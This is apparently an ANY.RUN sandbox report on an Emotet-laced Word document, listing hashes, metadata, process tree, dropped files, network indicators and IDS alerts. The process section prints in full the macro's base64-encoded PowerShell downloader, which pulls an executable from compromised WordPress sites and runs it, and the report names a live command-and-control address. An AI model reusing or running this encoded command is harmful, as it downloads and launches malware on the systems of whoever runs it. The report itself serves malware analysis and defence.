analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

20190918_98276294.doc

Full analysis: https://app.any.run/tasks/ad5cb6f2-c9b6-4ba7-9461-1be945dea11b
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: September 19, 2019, 08:27:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Mali, Subject: Suriname, Author: Ellis Pollich, Comments: RAM synthesizing, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 18 15:38:00 2019, Last Saved Time/Date: Wed Sep 18 15:38:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

7C802231644DA0E328AE0BD88BBEB104

SHA1:

88F474DB64064BC1C9A7F1983721FA509AD105FB

SHA256:

09940BC30B89D0E269E0B1226E575459018309AF1B612D6F6FBE3F6DEA40B5CF

SSDEEP:

6144:TNyxNRIIt1POT3XtwNJ6mdxPLkIZ7NSU4jJntATfDCGPy4sSKc:TNyxNRIIt1POT3XtwNJ6mdRXZ7NSU4VC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 835.exe (PID: 2684)
      • 835.exe (PID: 4036)
      • 835.exe (PID: 2852)
      • 835.exe (PID: 3908)
      • easywindow.exe (PID: 3328)
      • easywindow.exe (PID: 2312)
      • easywindow.exe (PID: 3224)
      • easywindow.exe (PID: 4068)
    • Emotet process was detected

      • 835.exe (PID: 2852)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2432)
    • Changes the autorun value in the registry

      • easywindow.exe (PID: 4068)
    • EMOTET was detected

      • easywindow.exe (PID: 4068)
    • Connects to CnC server

      • easywindow.exe (PID: 4068)
  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 2432)
    • Creates files in the user directory

      • powershell.exe (PID: 2432)
    • PowerShell script executed

      • powershell.exe (PID: 2432)
    • Application launched itself

      • 835.exe (PID: 3908)
      • easywindow.exe (PID: 3328)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2432)
      • 835.exe (PID: 2852)
    • Starts itself from another location

      • 835.exe (PID: 2852)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3504)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3504)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Mali
Subject: Suriname
Author: Ellis Pollich
Keywords: -
Comments: RAM synthesizing
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:09:18 14:38:00
ModifyDate: 2019:09:18 14:38:00
Pages: 1
Words: 95
Characters: 547
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Gerlach - Wyman
Lines: 4
Paragraphs: 1
CharCountWithSpaces: 641
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Medhurst
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
7
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 835.exe no specs 835.exe no specs 835.exe no specs #EMOTET 835.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs #EMOTET easywindow.exe

Process information

PID
CMD
Path
Indicators
Parent process
3504"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\20190918_98276294.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2432powershell -encod JAB6AEcASgA0AG4ASgA9ACcAbAB2ADMAdwBLADkAMQA3ACcAOwAkAEwASgB1AEYAcgAzACAAPQAgACcAOAAzADUAJwA7ACQAVQBQAEsAcgB3AGEAUAA9ACcAcQBiAG8AYwBPAFMAQwAnADsAJAByAHIANQBLAFIAdQB3ADEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASgB1AEYAcgAzACsAJwAuAGUAeABlACcAOwAkAHoARQB1AEQAaQBCAEIAMAA9ACcATgBVAHoAUABvAGIAQgBCACcAOwAkAFgAdABfAE0AdwBxAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMATABJAGUATgB0ADsAJABkAGoANgBkAG0AcgA9ACcAaAB0AHQAcAA6AC8ALwB0AGgAaQBuAGgAdgB1AG8AbgBnAG0AZQBkAGkAYQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgAyAGsAZQBlAHAANwAvAEAAaAB0AHQAcABzADoALwAvAG0AbgBwAGEAcwBhAGwAdQBiAG8AbgBnAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBuAHMAbQB6ADkAYQB6ADAAMwAyAC8AQABoAHQAdABwADoALwAvAHQAcgB1AG4AZwBhAG4AaAAuAHgAeQB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAegBxADUAMAAvAEAAaAB0AHQAcABzADoALwAvAGkAcAB0AGkAdgBpAGMAaQBuAGkALgBjAG8AbQAvAG4AcABrAHgALwBqAHcAcAB5ADkAMwA4AC8AQABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAGUAegBhAGUAdgBpAG4AZQBnAG8AbgBkAGUAcgAuAGMAbwBtAC8AYwBvAG4AZgAvAGYAZAA0ADUALwAnAC4AIgBTAHAAbABgAEkAVAAiACgAJwBAACcAKQA7ACQAVABkAFgAbgBpADAAUgA9ACcAZAA0ADcAaQBNADQAMAAnADsAZgBvAHIAZQBhAGMAaAAoACQAbwBqAGoAVQBUAG8AagBCACAAaQBuACAAJABkAGoANgBkAG0AcgApAHsAdAByAHkAewAkAFgAdABfAE0AdwBxAC4AIgBkAG8AdwBOAEwAYABPAEEAYABEAGYAYABpAEwARQAiACgAJABvAGoAagBVAFQAbwBqAEIALAAgACQAcgByADUASwBSAHUAdwAxACkAOwAkAG4ASgBxAHcAOABYAFEAPQAnAEoAQQBBAE4AUQBPADMAVwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHIAcgA1AEsAUgB1AHcAMQApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADIAOQA4ADAANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJAByAHIANQBLAFIAdQB3ADEAKQA7ACQAZABmAHYANQBqADUAPQAnAG8AbgBYAHAAdgBxACcAOwBiAHIAZQBhAGsAOwAkAGwAagBqAEEAWABMADAAPQAnAFUAVwBtAHIAcgAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGkAdwBRAFkAdwBQAD0AJwB3AGgAWAB6AFYAUABpACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2684"C:\Users\admin\835.exe" C:\Users\admin\835.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3908"C:\Users\admin\835.exe" C:\Users\admin\835.exe835.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4036--f0e46278C:\Users\admin\835.exe835.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2852--f0e46278C:\Users\admin\835.exe
835.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2312"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe835.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3224"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exeeasywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3328--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exeeasywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4068--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe
easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 750
Read events
1 267
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
10
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
3504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9ABE.tmp.cvr
MD5:
SHA256:
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E3B06867.wmfwmf
MD5:5C4F83E134A72503FCF81E7E63F4F4AD
SHA256:E6B63B63938C82998B52AB441245F483F24AF2CAE8C6CC60DBF4A5E8CB491F7D
3504WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:62F2DA178DD59EBA6B61EE250E55F925
SHA256:8CF938206B83D51659082A32A71F3A9F077217F5A2E07A98541350C60245A244
3504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:96445AEF575D206BAFA784CB98B52D6B
SHA256:8E1E9243F02694FC77CC507987427A06A154D4E212AF3BB23F11AA1ACF3E1F05
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33D2F9EB.wmfwmf
MD5:8E6DEF5B61985AAA923C8E4E256082EC
SHA256:D54FC5860A92CD9FEDF3A1A3A83876C60EF282C3729C5625FC97BDEAA52452EC
3504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$190918_98276294.docpgc
MD5:7C39CF32906F4ABBC7B7F9789C672572
SHA256:3D979C520224A9B24E09AC332DE5E9EA909D9A27DAC0C03295BD3CD215219BBC
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B9D573C.wmfwmf
MD5:32F2D6AA2323A29B97DA4F1E52B42C95
SHA256:4FFA3D10483BE21E1C4DD55C921842ED1E081812D2E6E20D9F143B7E732678AE
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\193D52F0.wmfwmf
MD5:B2913F62CF3F4DB1EDA1A1D874B7963B
SHA256:FACCF3F322F4B37D15D8506ABE66D062DFBD260A83A52FE39799CED602F48B3C
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ABCC5A48.wmfwmf
MD5:4E8ACE966080FF848289C42881895DDB
SHA256:233A763BADDBAD339E7FD3DDA3736D790828A3B42CA87E260FBD7805B4B11FAC
3504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AED8E814.wmfwmf
MD5:A8E277B724FEADD27C4F7D5AF5EB790F
SHA256:8D38E1AE4828D78C4992C62504524291999800FAB766611F89EA1E809EE49C36
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2432
powershell.exe
GET
200
124.158.6.218:80
http://thinhvuongmedia.com/wp-admin/n2keep7/
VN
executable
376 Kb
suspicious
4068
easywindow.exe
POST
200
114.79.134.129:443
http://114.79.134.129:443/window/img/
IN
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2432
powershell.exe
124.158.6.218:80
thinhvuongmedia.com
CMC Telecommunications Services Company
VN
suspicious
4068
easywindow.exe
114.79.134.129:443
D-Vois Broadband Pvt Ltd
IN
malicious

DNS requests

Domain
IP
Reputation
thinhvuongmedia.com
  • 124.158.6.218
suspicious

Threats

PID
Process
Class
Message
2432
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2432
powershell.exe
A Network Trojan was detected
AV INFO Suspicious EXE download from WordPress folder
2432
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2432
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4068
easywindow.exe
A Network Trojan was detected
AV TROJAN W32/Emotet CnC Checkin (Apr 2019)
4068
easywindow.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
4068
easywindow.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
4 ETPRO signatures available at the full report
No debug info